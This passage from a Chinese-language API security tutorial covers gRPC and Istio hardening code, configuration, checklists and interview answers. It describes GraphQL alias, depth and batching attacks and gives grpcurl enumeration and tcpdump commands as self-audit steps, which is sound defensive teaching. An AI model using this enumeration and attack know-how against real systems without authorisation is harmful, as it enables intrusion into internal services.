            responseObserver.onError(Status.NOT_FOUND
                    .withDescription("用户不存在").asRuntimeException());
            return;
        }

        // ✅ 正确写法 2:非管理员只能查自己
        if (!ctx.roles().contains("ADMIN")
                && !u.getId().equals(ctx.userId())) {
            log.warn("[安全] gRPC 越权访问 userId={} target={}",
                     ctx.userId(), request.getUserId());
            responseObserver.onError(Status.NOT_FOUND      // ★ 404 不是 403
                    .withDescription("用户不存在").asRuntimeException());
            return;
        }

        // ✅ 返回时脱敏(★ 用独立的响应消息,不要直接返回实体)
        responseObserver.onNext(toSafeProto(u));
        responseObserver.onCompleted();
    }

    /**
     * ★ 关键:用【独立的响应消息类型】,绝不包含 password_hash
     *
     * 反例:.proto 里 User 消息包含 password_hash,然后靠代码"不设置"它
     *      → 忘了就泄露,而且反射一看就知道有这个字段
     *
     * 正例:.proto 里定义两个消息:
     *      message UserInternal { ... password_hash = 5; }  ← 内部服务用
     *      message UserPublic   { ... 无 password_hash }    ← 对外用
     */
    private UserProto.User toSafeProto(User u) {
        return UserProto.User.newBuilder()
                .setId(u.getId())
                .setName(u.getName())
                .setEmail(DesensitizeUtil.email(u.getEmail()))
                .setPhone(DesensitizeUtil.mobile(u.getPhone()))
                // ★ password_hash 根本不在这个消息类型里
                .build();
    }
}

.proto 的最佳实践(内外消息分离):

// ✅✅✅ 推荐:内部消息和对外消息分开定义
syntax = "proto3";

package com.example.user;

service UserService {
  rpc GetUser(GetUserRequest) returns (UserPublic);        // ★ 对外返回 Public
  rpc GetUserInternal(GetUserRequest) returns (UserInternal);  // 内部方法,名字带 Internal
  rpc DeleteUser(DeleteUserRequest) returns (google.protobuf.Empty);
}

// ✅ 对外消息:不含敏感字段
message UserPublic {
  string id = 1;
  string name = 2;
  string email = 3;      // 业务层会脱敏
  string phone = 4;      // 业务层会脱敏
  int64 created_at = 5;
}

// ⚠️ 内部消息:含敏感字段,只在内部服务间使用
message UserInternal {
  string id = 1;
  string name = 2;
  string email = 3;
  string phone = 4;
  string password_hash = 5;
  int32 role = 6;
  int32 risk_score = 7;
  string internal_notes = 8;
}

// ❌ 反例:一个消息全包,靠代码"不设置"敏感字段
// message User {
//   string password_hash = 5;    ← 反射一查就知道有这个字段,迟早泄露
// }

攻击面 4️⃣:消息大小 / 并发 DoS → 硬限制

/**
 * ✅ gRPC 资源限制(★ 必做,gRPC 默认值太宽松)
 */
@Configuration
public class GrpcResourceLimitConfig {

    @Bean
    public ServerBuilder<?> serverBuilder() {
        return NettyServerBuilder.forPort(9090)
                // ① ★ 入站消息大小(默认 4MB → 改小)
                //    gRPC 默认 4MB,一个大消息就能吃 4MB 内存
                .maxInboundMessageSize(1024 * 1024)          // 1MB

                // ② ★ 元数据(header)大小(默认 8KB,防 HPACK 炸弹)
                .maxInboundMetadataSize(8 * 1024)

                // ③ ★ 每连接最大并发调用(防多路复用 DoS)
                .maxConcurrentCallsPerConnection(100)

                // ④ ★ 流控窗口(默认 64KB,太小会影响吞吐,一般调到 1MB)
                .flowControlWindow(1024 * 1024)

                // ⑤ ★ 连接生命周期(强制重连,防连接长期占用)
                .maxConnectionAge(30, TimeUnit.MINUTES)
                .maxConnectionAgeGrace(10, TimeUnit.SECONDS)

                // ⑥ ★ 空闲超时
                .maxConnectionIdle(5, TimeUnit.MINUTES)

                // ⑦ ★ KeepAlive 配置(防 ping 洪水)
                .keepAliveTime(30, TimeUnit.SECONDS)         // 服务端 ping 间隔
                .keepAliveTimeout(10, TimeUnit.SECONDS)      // 等多久没响应就断
                .permitKeepAliveTime(10, TimeUnit.SECONDS)    // 客户端最少多久才能 ping 一次
                .permitKeepAliveWithoutCalls(false);          // 没有活跃调用时不允许 ping
    }
}

客户端也要限制(防止服务端返回超大消息):

ManagedChannel channel = NettyChannelBuilder.forAddress(host, port)
        // ★ 出站消息大小(防止本地构造超大消息)
        .maxOutboundMessageSize(1024 * 1024)
        // ★ ★ 入站消息大小(★ 防止恶意服务端返回超大消息打爆客户端 —— 常被忽略!)
        .maxInboundMessageSize(2 * 1024 * 1024)
        .build();

攻击面 5️⃣:错误信息泄露 → 统一错误处理

/**
 * ✅ gRPC 统一错误处理(★ 生产环境绝不返回堆栈)
 */
@Component
@Slf4j
public class GrpcExceptionInterceptor implements ServerInterceptor {

    @Value("${spring.profiles.active:dev}")
    private String profile;

    @Override
    public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
            ServerCall<ReqT, RespT> call,
            Metadata headers,
            ServerCallHandler<ReqT, RespT> next) {

        ServerCall<ReqT, RespT> wrappedCall =
                new ForwardingServerCall.SimpleForwardingServerCall<>(call) {

            @Override
            public void close(Status status, Metadata trailers) {
                if (!status.isOk()) {
                    String traceId = MDC.get("traceId");

                    // ★ 详细日志记在服务端
                    log.error("[gRPC错误] method={} code={} traceId={}",
                              call.getMethodDescriptor().getFullMethodName(),
                              status.getCode(), traceId, status.getCause());

                    // ★ 客户端只拿到通用信息 + traceId
                    Status safeStatus = mapToSafeStatus(status, traceId);
                    Metadata safeTrailers = new Metadata();
                    safeTrailers.put(
                            Metadata.Key.of("x-trace-id",
                                    Metadata.ASCII_STRING_MARSHALLER), traceId);

                    super.close(safeStatus, safeTrailers);
                    return;
                }
                super.close(status, trailers);
            }
        };

        return next.startCall(wrappedCall, headers);
    }

    /**
     * ★ 把内部错误映射成安全的 gRPC 状态码
     */
    private Status mapToSafeStatus(Status original, String traceId) {
        // 开发环境:保留详细信息
        if (!"prod".equals(profile)) {
            return original;
        }

        // 生产环境:按异常类型映射
        Throwable cause = original.getCause();
        String generic = "(traceId=" + traceId + ")";

        if (cause instanceof DataNotFoundException) {
            return Status.NOT_FOUND.withDescription("资源不存在" + generic);
        }
        if (cause instanceof AccessDeniedException) {
            return Status.PERMISSION_DENIED.withDescription("权限不足" + generic);
        }
        if (cause instanceof IllegalArgumentException) {
            return Status.INVALID_ARGUMENT.withDescription("参数错误" + generic);
        }
        if (cause instanceof TimeoutException) {
            return Status.DEADLINE_EXCEEDED.withDescription("处理超时" + generic);
        }
        if (cause instanceof SQLException) {
            // ★★ 数据库错误绝对不能透出去(会泄露表结构)
            return Status.INTERNAL.withDescription("服务内部错误" + generic);
        }
        // ★ 兜底:所有未分类错误都返回通用信息
        return Status.INTERNAL.withDescription("服务内部错误" + generic);
    }
}

攻击面 6️⃣:证书管理混乱 → SPIFFE/SPIRE 自动轮换

问题:手工管理证书(签发、分发、轮换、吊销)是运维噩梦, 结果就是“证书 10 年不过期、所有服务共用一个证书” —— 一个泄露全崩。

解法:SPIFFE / SPIRE —— 零信任身份标准,自动给每个工作负载发短期身份证书。

三个概念(★ 面试要能说清):

概念 白话 类比
SPIFFE 一套标准:定义“工作负载身份”长什么样(SPIFFE ID)、怎么编码进证书 身份证的国家标准(尺寸、字段、防伪)
SPIFFE ID 身份标识符,格式 spiffe://trust-domain/ns/namespace/sa/service-account 身份证号
SPIRE SPIFFE 的参考实现:一个服务端 + 每个节点一个 Agent,自动签发和轮换证书 公安局 + 各派出所(自动给你办证、到期自动换)

SPIRE 的工作流程:

① 工作负载启动,通过 Workload API(本地 Unix Socket)向 SPIRE Agent 要身份
        ↓
② SPIRE Agent【验证工作负载的身份】(★ 关键,这一步叫 Attestation)
   验证方式:K8s 里看 Pod 的 namespace/serviceAccount
            物理机上看进程 UID / 二进制哈希 / TPM
        ↓
③ 验证通过 → SPIRE Server 签发一个 SVID(X.509 证书)
   证书里带 SPIFFE ID(放在 SAN 的 URI 字段)
   ★ 有效期很短(默认 1 小时)
        ↓
④ 工作负载拿到证书,用于 mTLS 通信
        ↓
⑤ ★ 证书到期前,SPIRE Agent 自动轮换(业务代码零感知)
        ↓
⑥ 対端从证书里取出 SPIFFE ID,据此做授权
   ("spiffe://corp.com/ns/prod/sa/order-service" 可以调 PaymentService 吗?)

Istio 里使用 SPIFFE(几乎零配置,Istio 自带):

# ★ Istio 会自动给每个 Pod 注入 SVID 证书,并自动轮换
# 查看某个 Pod 的证书
kubectl exec -it deploy/order-service -c istio-proxy -- \
  openssl s_client -connect localhost:15000 -showcerts 2>/dev/null | \
  openssl x509 -noout -text | grep -A1 "Subject Alternative Name"

# 输出:
#   X509v3 Subject Alternative Name:
#       URI:spiffe://cluster.local/ns/prod/sa/order-service
#                                          ↑ namespace  ↑ serviceAccount

攻击面 7️⃣:日志与可观测性缺失 → 结构化日志 + 审计

/**
 * ✅ gRPC 审计日志拦截器(★ 二进制协议的补救措施)
 *
 * ★ 关键:因为二进制看不到内容,所以【必须靠代码主动记录】
 *   记录什么:谁(身份)在什么时间调了哪个方法、耗时、结果码
 *   ★ 不要记录完整请求体(可能含敏感数据)
 */
@Component
@Slf4j
public class GrpcAuditInterceptor implements ServerInterceptor {

    @Override
    public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
            ServerCall<ReqT, RespT> call,
            Metadata headers,
            ServerCallHandler<ReqT, RespT> next) {

        long start = System.currentTimeMillis();
        String method = call.getMethodDescriptor().getFullMethodName();

        UserContext user = GrpcAuthInterceptor.USER_CONTEXT_KEY.get();
        PeerIdentity peer = MtlsIdentityInterceptor.PEER_IDENTITY_KEY.get();
        String clientIp = getClientIp(call);

        return new ForwardingServerCallListener
                .SimpleForwardingServerCallListener<ReqT>(
                next.startCall(call, headers)) {

            @Override
            public void onHalfClose() {
                super.onHalfClose();
            }

            @Override
            public void onCancel() {
                logAudit("CANCELLED");
                super.onCancel();
            }

            @Override
            public void onComplete() {
                logAudit("COMPLETED");
                super.onComplete();
            }

            private void logAudit(String result) {
                long cost = System.currentTimeMillis() - start;

                // ★ 结构化日志(方便 SIEM 采集)
                log.info("[gRPC审计] method={} caller={} user={} tenant={} ip={} " +
                         "cost={}ms result={}",
                         method,
                         peer == null ? "-" : peer.commonName(),
                         user == null ? "-" : user.userId(),
                         user == null ? "-" : user.tenantId(),
                         clientIp, cost, result);

                // ★ 上报 Prometheus
                Metrics.timer("grpc.server.call",
                        "method", method,
                        "caller", peer == null ? "unknown" : peer.commonName())
                        .record(cost, TimeUnit.MILLISECONDS);

                // ★ 慢调用告警
                if (cost > 1000) {
                    log.warn("[gRPC慢调用] method={} cost={}ms user={}",
                             method, cost, user == null ? "-" : user.userId());
                }
            }
        };
    }

    private String getClientIp(ServerCall<?, ?> call) {
        SocketAddress addr = call.getAttributes()
                .get(Grpc.TRANSPORT_ATTR_REMOTE_ADDR);
        if (addr instanceof InetSocketAddress inet) {
            return inet.getAddress().getHostAddress();
        }
        return "unknown";
    }
}

3.9.4 服务网格:Istio 的 PeerAuthentication 与 AuthorizationPolicy

★ 为什么 gRPC 几乎必须配服务网格?

因为 gRPC 的安全需求(mTLS、身份认证、细粒度授权、可观测性) 如果全部写在业务代码里,每个服务都要写一遍,而且语言不同实现不同。

服务网格的思路:把这些能力下沉到 Sidecar(Envoy 代理), 业务代码零侵入,由平台统一配置和轮换。

架构图:

┌─────────────────────── Pod ──────────────────────┐
│                                                   │
│   ┌──────────────┐      mTLS      ┌───────────┐  │
│   │ 业务容器      │◄─────────────►│  Envoy    │  │
│   │ (gRPC Server)│   localhost    │  Sidecar  │  │
│   │  明文通信     │               │           │  │
│   └──────────────┘               └─────┬─────┘  │
│                                         │        │
└─────────────────────────────────────────┼────────┘
                                          │  ★ mTLS 加密出 Pod
                                          ▼
                                    ┌───────────┐
                                    │ 対端 Pod   │
                                    │  Envoy     │
                                    └───────────┘

★ 关键:
  ① 业务代码【完全不知道 mTLS 的存在】,写的还是明文 gRPC
  ② Envoy 自动完成:证书获取(从 Istiod)、mTLS 握手、证书轮换
  ③ 授权策略由 Istiod 下发,Envoy 执行

✅ PeerAuthentication:控制“要不要 mTLS”

# ===== ① 命名空间级:整个 prod 命名空间强制严格 mTLS =====
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
  name: default
  namespace: prod
spec:
  mtls:
    mode: STRICT          # ★ STRICT = 只接受 mTLS 流量

# mtls.mode 的三个值:
#   STRICT   只接受 mTLS(★ 生产推荐)
#   PERMISSIVE  明文和 mTLS 都接受(★ 迁移期用,方便灰度)
#   DISABLE  不接受 mTLS(明文)
# ===== ② 工作负载级:给某个服务单独配置 =====
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
  name: payment-service-mtls
  namespace: prod
spec:
  selector:
    matchLabels:
      app: payment-service
  mtls:
    mode: STRICT
  # ★ 端口级覆盖:健康检查端口不用 mTLS(kubelet 不会带证书)
  portLevelMtls:
    8080:
      mode: DISABLE       # 管理端口豁免
# ===== ③ 迁移期:先用 PERMISSIVE,观察无异常再切 STRICT =====
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
  name: default
  namespace: prod
spec:
  mtls:
    mode: PERMISSIVE      # ★ 第一步:两者都接受

# 观察方式:
#   kubectl exec -it deploy/x -c istio-proxy -- \
#     curl localhost:15000/stats | grep ssl
#   看 ssl.handshake 和 plaintext 的比例

✅ AuthorizationPolicy:控制“谁能调谁”(★ 核心)

# ===== ① 默认拒绝:整个命名空间拒绝所有未明确允许的流量 =====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: deny-all
  namespace: prod
spec:
  {}          # ★ 空的 spec = 拒绝所有(Deny by Default)
# ===== ② 允许特定服务调用(★ 基于 SPIFFE ID 的服务身份)=====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: payment-service-policy
  namespace: prod
spec:
  selector:
    matchLabels:
      app: payment-service

  action: ALLOW

  rules:
    # 规则 1:只允许 order-service 调用,且只能调 POST /Transfer
    - from:
        - source:
            # ★ principals 就是 SPIFFE ID
            #   [<TRUST_DOMAIN>]/ns/<namespace>/sa/<service-account>
            principals: ["cluster.local/ns/prod/sa/order-service"]
      to:
        - operation:
            paths: ["/com.example.payment.PaymentService/Transfer"]
            methods: ["POST"]

    # 规则 2:允许 accounting-service 调用查询类方法
    - from:
        - source:
            principals: ["cluster.local/ns/prod/sa/accounting-service"]
      to:
        - operation:
            paths:
              - "/com.example.payment.PaymentService/GetTransaction"
              - "/com.example.payment.PaymentService/ListTransactions"

    # 规则 3:允许 Prometheus 抓取指标
    - from:
        - source:
            namespaces: ["monitoring"]
      to:
        - operation:
            ports: ["15020"]      # Envoy 的 metrics 端口
# ===== ③ 基于 JWT 的用户身份授权(南北向)=====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: user-api-jwt
  namespace: prod
spec:
  selector:
    matchLabels:
      app: user-api
  action: ALLOW
  rules:
    - from:
        - source:
            # ★ 来源必须是通过了 JWT 认证的
            requestPrincipals: ["https://auth.example.com/*"]
      when:
        # ★ 校验 JWT 里的 scope 声明
        - key: request.auth.claims[scope]
          values: ["user:read", "user:write"]
        # ★ 校验 JWT 的 audience
        - key: request.auth.audiences
          values: ["user-api"]
        # ★ 校验 JWT 里的租户(多租户隔离)
        - key: request.auth.claims[tenant_id]
          values: ["tenant-a", "tenant-b"]
# ===== ④ 配合 RequestAuthentication 定义 JWT 校验规则 =====
apiVersion: security.istio.io/v1
kind: RequestAuthentication
metadata:
  name: jwt-auth
  namespace: prod
spec:
  selector:
    matchLabels:
      app: user-api
  jwtRules:
    - issuer: "https://auth.example.com"
      jwksUri: "https://auth.example.com/.well-known/jwks.json"
      audiences:
        - "user-api"
      forwardPayloadToken: true      # ★ 把 JWT 透传给业务
      fromHeaders:
        - name: Authorization
          prefix: "Bearer "
      fromCookies: ["auth_token"]    # 可选:从 Cookie 里取
# ===== ⑤ 显式 DENY(优先级高于 ALLOW,用于封禁)=====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: deny-deprecated-api
  namespace: prod
spec:
  selector:
    matchLabels:
      app: user-api
  action: DENY          # ★ DENY 优先于所有 ALLOW
  rules:
    - to:
        - operation:
            paths: ["/com.example.user.UserService/ExportAllData"]
    - from:
        - source:
            principals: ["cluster.local/ns/dev/sa/*"]    # ★ 禁止 dev 命名空间访问 prod

★ AuthorizationPolicy 的评估顺序(面试会问):

1. 如果有任何 DENY 规则匹配 → 拒绝(★ 最高优先级)
2. 如果没有 ALLOW 规则 → 允许(★ 注意:空策略 = 全放行!)
3. 如果有 ALLOW 规则且匹配 → 允许
4. 如果有 ALLOW 规则但不匹配 → 拒绝

★ 所以"默认拒绝"必须显式写一个 spec: {} 的 AuthorizationPolicy
  很多人以为"不配就是拒绝",恰恰相反 —— 不配是【全放行】!

✅ 常用的运维命令

# ===== ① 检查 mTLS 是否生效 =====
istioctl x describe pod deploy/order-service-xxx

# ===== ② 查看某个服务的授权策略 =====
istioctl x authz check deploy/payment-service-xxx

# ===== ③ 抓包验证流量是加密的 =====
kubectl exec -it deploy/order-service -c istio-proxy -- \
  tcpdump -i any -A -s 0 'port 9090' | head -50
# ★ 如果看到明文 JSON/Protobuf 内容 → mTLS 没生效

# ===== ④ 测试:从测试 Pod 里用 grpcurl 调(看是否被拦)=====
kubectl run grpcurl-test --rm -it --image=fullstorydev/grpcurl -- \
  -plaintext payment-service:9090 list
# ★ 正确结果:Connection refused 或 PermissionDenied(说明 mTLS 生效了)

# ===== ⑤ 查看证书信息 =====
istioctl proxy-config secret deploy/order-service-xxx -o json | \
  jq -r '.dynamicActiveSecrets[0].secret.tlsCertificate.certificateChain.inlineBytes' | \
  base64 -d | openssl x509 -noout -text | grep -A2 "Alternative"

# ===== ⑥ 用 istioctl 分析配置问题 =====
istioctl analyze -n prod

3.9.5 gRPC 安全 Checklist

# 检查项 怎么做 优先级
1 生产环境关闭反射服务 reflection.Register 只在非生产调用 ★★★
2 启用 mTLS(STRICT 模式) Istio PeerAuthentication 或代码配 ClientAuth.REQUIRE ★★★
3 禁止 InsecureTrustManagerFactory 用真实 CA ★★★
4 方法级授权 + 默认拒绝 AuthorizationPolicy + 应用层拦截器双保险 ★★★
5 数据级授权(防 BOLA) SQL 带租户条件 + 归属校验 ★★★
6 内外消息类型分离(.proto) UserPublic vs UserInternal ★★★
7 消息大小限制(入站 + 出站) maxInboundMessageSize ★★★
8 并发流数、连接数限制 maxConcurrentCallsPerConnection ★★
9 HTTP/2 头部大小限制(防 HPACK 炸弹) maxInboundMetadataSize ★★
10 统一错误处理,不透出堆栈/SQL ExceptionInterceptor ★★★
11 证书自动轮换(SPIRE,≤1 小时) SPIRE / Istio 自动轮换 ★★
12 结构化审计日志(因为二进制看不到) AuditInterceptor ★★★
13 流式接口分页 + 条数上限 + 超时 见 3.9.2 特殊之处 5 ★★
14 超时(Deadline)必设 withDeadlineAfter(3, SECONDS) ★★★
15 定期用 grpcurl 自查(模拟攻击者) 扫描内网端口 ★★

3.10 三种接口协议的安全对比与选型

3.10.1 全景对比表(★ 面试必背)

维度 REST (JSON) GraphQL gRPC
主要场景 对外 API(南北向) 对外 API,多端适配 服务间通信(东西向)
传输格式 文本 JSON 文本 JSON 二进制 Protobuf
端点 多个(/api/users) 单个(/graphql) 单个 + 方法名
安全设备可见性 ✅ 完全可见 ✅ 可见(JSON) ❌ 不可见(二进制)
WAF 有效性 ✅ 有效 ⚠️ 部分有效 ❌ 基本无效
授权单位 接口(路径) 字段 方法 + 数据
独有漏洞 常规 OWASP Top 10 内省 / 深度DoS / 别名绕过限流 / 字段级授权缺失 反射 / 无认证 / 二进制不可见
DoS 风险 中(大分页) 极高(嵌套放大 10^12) 中(流式 / 大消息)
限流单位 HTTP 请求数 ★ 查询复杂度 + 字段次数 方法调用数 + 消息大小
认证方式 JWT / Session / OAuth2 JWT / Session ★ mTLS + JWT
接口文档 Swagger(额外维护) 内省(自带,也是风险) .proto(自带,反射有风险)
版本管理 URL 版本号(/v1 /v2) 无版本(字段废弃机制) proto 包名版本号
安全成熟度 高(工具链成熟) 中(工具在成长) 低(依赖服务网格)

3.10.2 ★ 三者的安全建设重点(一句话总结,背下来)

REST API: “守住每个接口。授权单位是接口,重点是 BOLA(对象级越权)和 BOPLA(属性级越权)。”

GraphQL: “守住图的形状和每个节点。三件事必做:关内省、限复杂度(深度+宽度+条数)、字段级授权。”

gRPC: “守住服务身份。因为二进制让传统设备失明,只能靠 mTLS + 服务网格 + 应用层拦截器。”

3.10.3 三种协议的“必做项”速查卡

┌──────────────────────────────────────────────────────────────┐
│  REST API 安全必做(8 项)                                     │
├──────────────────────────────────────────────────────────────┤
│  ☐ 每个接口的【对象级】归属校验(BOLA)                        │
│  ☐ 返回 DTO 而不是实体(BOPLA,防过度数据暴露)                │
│  ☐ 默认拒绝(Deny by Default)                                 │
│  ☐ 参数化查询(防 SQL 注入)+ 白名单排序                       │
│  ☐ 分页上限 + 超时                                             │
│  ☐ 敏感业务流防护(短信/优惠券/支付)                          │
│  ☐ SSRF 防护(URL 获取类接口)                                 │
│  ☐ 按接口/用户限流                                             │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│  GraphQL 安全必做(10 项)★ 特有                               │
├──────────────────────────────────────────────────────────────┤
│  ☐ ★ 生产关闭内省(Introspection)                             │
│  ☐ ★ 关闭 "Did you mean" 字段建议                              │
│  ☐ ★ 查询深度限制(10~15)                                     │
│  ☐ ★ 查询复杂度限制(列表字段要乘分页大小)                     │
│  ☐ ★ 分页参数硬上限(first ≤ 1000)                            │
│  ☐ ★ 限制根字段数量(≤20)+ 同名字段重复次数(≤10)防别名攻击   │
│  ☐ ★ 禁用批量请求(Batching)或限制批量大小                     │
│  ☐ ★ DataLoader 防 N+1(且必须是请求级,否则数据泄露)          │
│  ☐ ★ 字段级授权(Directive)+ ArchUnit 测试强制                │
│  ☐ ★ 整体超时 + 独立线程池(兜底)                             │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│  gRPC 安全必做(10 项)★ 特有                                  │
├──────────────────────────────────────────────────────────────┤
│  ☐ ★ 生产关闭反射服务(Reflection)                            │
│  ☐ ★ mTLS(STRICT),禁止 InsecureTrustManager                 │
│  ☐ ★ 证书自动轮换(SPIRE,≤1 小时)                            │
│  ☐ ★ 方法级授权 + 默认拒绝(Istio AuthorizationPolicy)         │
│  ☐ ★ 数据级授权(防 BOLA)                                     │
│  ☐ ★ .proto 内外消息分离(UserPublic vs UserInternal)          │
│  ☐ ★ 消息大小限制(入站 + 出站都要设)                          │
│  ☐ ★ 并发流数 + 连接数 + keepalive 限制                         │
│  ☐ ★ 统一错误处理(不透堆栈/SQL)                               │
│  ☐ ★ 结构化审计日志(因为二进制设备看不到,只能靠代码记)        │
└──────────────────────────────────────────────────────────────┘

3.11 面试题 C 组:GraphQL 与 gRPC(30 题)

3.11.1 基础题(1~10,必答对)

# 题目 难度 答案要点
1 GraphQL 和 REST 的核心区别是什么? ⭐ 客户端定返回结构 vs 服务端定;单端点 vs 多端点;图的连通性
2 什么是 GraphQL 的 Introspection?有什么风险? ⭐ 内省查询导出完整 Schema;泄露所有字段名和入口,是攻击前置条件
3 关掉内省就安全了吗?为什么? ⭐⭐ 不安全。① “Did you mean” 建议泄露字段名 ② 前端 JS 里有 Schema ③ persisted query 回退
4 GraphQL 的深度攻击是什么?怎么防? ⭐⭐ 嵌套循环引用导致 N^depth 次查询;深度限制 + 复杂度限制 + 超时
5 什么是 GraphQL 的别名攻击? ⭐⭐ 一次请求用别名重复调同一字段 1000 次,绕过“按请求次数”的限流
6 GraphQL 的 N+1 问题怎么解决? ⭐⭐ DataLoader(批量 + 缓存);注意必须是请求级实例
7 gRPC 用什么序列化?有什么优缺点? ⭐ Protobuf 二进制;小/快,但人不可读、中间设备失明
8 gRPC 的反射服务有什么风险?怎么关? ⭐⭐ grpcurl list 可导出所有服务/方法/消息结构;生产不注册 reflection
9 mTLS 和普通 TLS 的区别? ⭐⭐ mTLS 双方互相验证证书;解决“服务身份”,普通 TLS 只验证服务端
10 什么是 SPIFFE ID? ⭐⭐ 工作负载身份标识 spiffe://trust-domain/ns/ns/sa/sa,编码在证书 SAN 里

3.11.2 进阶题(11~20,要能展开)

# 题目 难度 答案要点
11 为什么 GraphQL 的授权必须做到字段级? ⭐⭐⭐ 只有一个 /graphql 路径,按路径授权完全失效;客户端能自己走到图里任何节点
12 GraphQL 的限流为什么不能按“请求次数”? ⭐⭐⭐ 一次请求可含 1000 别名字段 = 1000 次操作;要按复杂度和字段次数限流
13 DataLoader 为什么必须是请求级的? ⭐⭐⭐ 单例会跨请求共享缓存 → 用户 B 命中用户 A 的缓存 → 越权泄露 + 脏读
14 复杂度限制怎么防止“分页参数”绕过? ⭐⭐⭐ 列表字段的成本必须乘 first/limit 参数,否则 first=100000 成本还是 1
15 Fragment 怎么绕过深度限制? ⭐⭐⭐ 递归 Fragment 自己引用自己;用 QueryTraverser 展开并检测循环,直接拒绝递归 Fragment
16 gRPC 为什么“传统 WAF 失效”? ⭐⭐⭐ 二进制 Protobuf,WAF 看不到内容;安全重心必须转移到 mTLS + 拦截器 + 服务网格
17 gRPC 里怎么做 BOLA 防护? ⭐⭐⭐ 和 REST 一样:SQL 带租户条件 + 归属校验;返回 NOT_FOUND 而不是 PERMISSION_DENIED
18 Istio 的 AuthorizationPolicy 默认是拒绝还是允许? ⭐⭐⭐⭐ 默认允许(没配策略 = 全放行);必须显式写 spec: {} 才是默认拒绝
19 PeerAuthentication 的 STRICT 和 PERMISSIVE 区别? ⭐⭐⭐ STRICT 只接受 mTLS;PERMISSIVE 明文和 mTLS 都接受(迁移期用)
20 gRPC 的流式接口有什么风险? ⭐⭐⭐ 一次调用返回无限条数据 → DoS;必须分页 + 条数上限 + 超时

3.11.3 场景题(21~26,★★★ 高频)

# 题目 难度
21 我们的 GraphQL 服务上线后被刷短信,限流明明设了“每分钟 10 次请求”,为什么还是被发了 1 万条短信? ⭐⭐⭐⭐
22 线上 GraphQL 接口突然全超时,排查发现 CPU 和数据库连接池都满了,但 QPS 只有 5。可能是什么原因? ⭐⭐⭐⭐
23 我们内网有个 gRPC 服务被发现可以匿名调用,可能造成的最大危害是什么?怎么排查? ⭐⭐⭐⭐
24 怎么设计一个 GraphQL 服务,让它即便内省被打开也不会泄露敏感信息? ⭐⭐⭐⭐
25 服务网格上了之后,业务代码还需要做权限校验吗?为什么? ⭐⭐⭐⭐⭐
26 从 REST 迁到 GraphQL,安全上需要新增哪些防护? ⭐⭐⭐

场景题参考答案要点:

Q21(短信被刷):

“因为限流维度错了。GraphQL 支持别名,攻击者一次请求里写 1000 个 sendSmsCode 别名, 1 次 HTTP 请求 = 1000 条短信。你的限流数的是 HTTP 请求数,完全没触发。

修复:① 限制单次请求的根字段数量(≤20)和同名字段重复次数(≤10) ② 生产禁用批量请求 ③ 把限流维度改成“字段解析次数”(用 Instrumentation 在敏感字段解析前扣配额) ④ 业务侧防护:短信接口本身要有图形验证码 + 手机号维度频率限制(1 分钟 1 次、1 小时 5 次、1 天 20 次)

  • 设备指纹 + 风控。

★ 关键认知:协议层的限制是防线,业务侧的防护才是保险柜。“

Q22(QPS 5 但数据库满):

“典型的 GraphQL 深度/复杂度攻击,或者 N+1。

排查: ① 先看访问日志,找 /graphql 的请求体大小 —— 攻击 Payload 通常很小(几百字节)但嵌套很深 ② 开 GraphQL 的查询日志,看具体查询长什么样 ③ 看数据库是不是有大量高度相似的 SQL(N+1 特征)

三种可能: a) 循环引用套娃:user→orders→user→orders... 15 层 = 10^19 次查询 b) N+1:查 100 用户 → 100 次订单查询 → 2000 次商品查询 → 10 万次评论查询 c) 宽扇出:allUsers(first:100000) 一次拉 10 万条

应急:先限流/封 IP,再上深度和复杂度限制。 根治:深度限制 + 复杂度限制 + DataLoader + 分页硬上限 + 整体超时 + 独立线程池。“

Q23(内网 gRPC 匿名可调用):

“最大危害是内网横向移动的跳板。 gRPC 服务通常在内网、无认证、二进制不可见, 攻击者进去之后可以: ① grpcurl list 拿到所有服务和方法(如果反射开着) ② 直接调 DeleteUser / Refund / Transfer / ExportAllData ③ 因为二进制 + 无日志,几乎无法被发现 —— 这是最可怕的

排查: ① 扫内网所有 gRPC 端口(默认没标准端口,常见 9090/50051) ② 对每个端口跑 grpcurl -plaintext <ip:port> list ③ 能 list 出来的就是反射开着;再试着调用关键方法看是否需要认证 ④ 用 Istio 的 istioctl x authz check 看授权策略是否覆盖

修复:关反射 + mTLS STRICT + AuthorizationPolicy 默认拒绝 + 审计日志。“

Q24(内省开着也不泄露):

“三层: ① 分层 Schema:对外 Schema 在构建期就裁剪掉敏感字段(passwordHash、internal*、cost), 内省拿到的是干净版本 —— 这是最治本的 ② 字段级授权:每个字段声明 Directive,未授权返回 null(不抛异常,避免泄露字段存在性) ③ PII 自动脱敏:手机号、身份证这类字段,非本人/非管理员自动打码

★ 核心原则:不要靠“攻击者不知道字段名”来保安全,要靠“知道了也拿不到数据”。 这就是“纵深防御” —— 内省是外层,字段级授权是内层。 外层可以破,内层不能破。“

Q25(上服务网格后业务还要校验吗):

“要。 三个理由:

① 服务网格只管到“服务身份”和“方法级”,管不到“数据级”。 Istio 的 AuthorizationPolicy 能说“order-service 可以调 PaymentService/Transfer”, 但它看不到请求体里的 user_id(二进制), 所以判断不了“这个 user_id 是不是当前用户的” —— 这是 BOLA,必须业务代码做。

② 零信任原则:不能假设网络安全边界可靠。 Sidecar 可能被绕过(比如 Pod 直接用 hostNetwork、或者 Sidecar 被卸载), 配置可能被误改。业务代码做的是“最后一道防线”。

③ 纵深防御:任何单点防护都可能有漏洞。

★ 分工应该是: 服务网格做“粗粒度”(服务到服务、方法级、命名空间级) 业务代码做“细粒度”(数据归属、字段级、业务规则) 两者都要有,不能互相替代。“

3.11.4 高频连环追问链

追问链 1(GraphQL 安全):
"你们用 GraphQL 吗?"
→ "内省关了吗?"
  → "关了就安全吗?'Did you mean' 建议会不会泄露字段名?"
    → "那怎么防止别人靠错误提示枚举字段名?"
